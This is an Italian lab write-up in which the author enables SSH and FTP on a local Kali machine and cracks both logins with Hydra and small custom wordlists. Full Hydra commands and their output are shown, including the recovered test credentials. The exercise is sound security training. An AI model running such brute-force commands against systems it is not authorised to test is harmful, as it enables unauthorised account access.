

AUTHENTICATION CRACKING

OBBIETTIVI:

PRIMA FASE. Abilitare servizio SSH, craccare la sessione dell'autenticazione usando Hydra.

SECONDA FASE. Scegliere e configurare un qualsiasi servizio di rete, in questo caso FTP e craccare l'autenticazione.

PASSAGGI PRIMA FASE:

Tramite il comando `adduser`, è stato creato l'utente **test_user**.

Attivazione SSH con il comando:

`sudo service ssh start`

Poi ho testato la connessione, che ha funzionato correttamente e ho fatto exit.

```
(kali@kali)-[~]
$ adduser test_user
fatal: Only root may add a user or group to the system.

(kali@kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
    Room Number []:
      Work Phone []:
        Home Phone []:
          Other []:
Is the information correct? [Y/n]

(kali@kali)-[~]
$
$ hydra.txt

(kali@kali)-[~]
$ sudo service ssh start
```

Dopo ho configurato Hydra, per prima cosa ho creato una piccola wordlist per user e psw, ognuna con 5 stringhe

Ho messo il comando **`hydra -L user.txt -P psw.txt t1 192.168.1.63 ssh`**

-L e -P maiuscole perché stiamo usando delle wordlist, con t1 si intende 1 thread, quindi farà meno richieste contemporaneamente.

In questo caso come si vede dall'immagine ha trovato due nomi utente e le rispettive password.

```
(kali@kali)-[~]
$ ssh test_user@192.168.1.63
test_user@192.168.1.63's password:
Linux kali 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul 17 14:30:33 2026 from 192.168.1.63
(test_user@kali)-[~]
$ exit
logout
Connection to 192.168.1.63 closed.

(kali@kali)-[~]
$ hydra -L user.txt -P psw.txt -t1 192.168.1.63 ssh
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or security
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 14:46:02
[DATA] max 1 task per 1 server, overall 1 task, 42 login tries (l:7/p:6), ~42 tries per task
[DATA] attacking ssh://192.168.1.63:22/

[22][ssh] host: 192.168.1.63 login: kali password: kali
[STATUS] 31.00 tries/min, 31 tries in 00:01h, 11 to do in 00:01h, 1 active
[22][ssh] host: 192.168.1.63 login: test_user password: testpass
[22][ssh] host: 192.168.1.63 password: kali
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 14:47:29
```

PASSAGGI SECONDA FASE:

Installazione servizio FTP con il comando **sudo apt install vsftpd**,
poi **sudo service vsftpd start** per avviare il servizio sul sistema operativo.
Ho fatto un test della connessione che è riuscito e ho fatto exit.

```
(kali@kali)-[~]
└─$ sudo service vsftpd start

(kali@kali)-[~]
└─$ ftp test_user@192.168.1.63
Connected to 192.168.1.63.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> exit
221 Goodbye.
```

Dopo aver configurato il servizio FTP sono passato a hydra, però avviando un primo attacco ho notato che usando le wordlists di seclists i tempi sarebbero stati lunghissimi,
quindi tramite il comando **grep** ho creato una wordlist molto breve con il termine "test".

```
(kali@kali)-[~]
└─$ grep -i "test" /usr/share/seclists/Passwords/Most-Popular-Letter-Passes.txt > parole_scelte.txt
```

Attacco riuscito in breve tempo, ho impostato nel comando di Hydra le wordlist più brevi e in poco tempo ho ottenuto il login e la password.
Comando utilizzato:

hydra -L user.txt -P parole_scelte.txt -t16 192.168.1.63 ftp

```
(kali@kali)-[~]
└─$ hydra -L user.txt -P parole_scelte.txt -t16 192.168.1.63 ftp
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 17:06:46
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 336 login tries (l:7/p:48), ~21
[DATA] attacking ftp://192.168.1.63:21/
[21][ftp] host: 192.168.1.63 login: test_user password: testpass
[STATUS] 297.00 tries/min, 297 tries in 00:01h, 39 to do in 00:01h, 16 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 17:08:00
```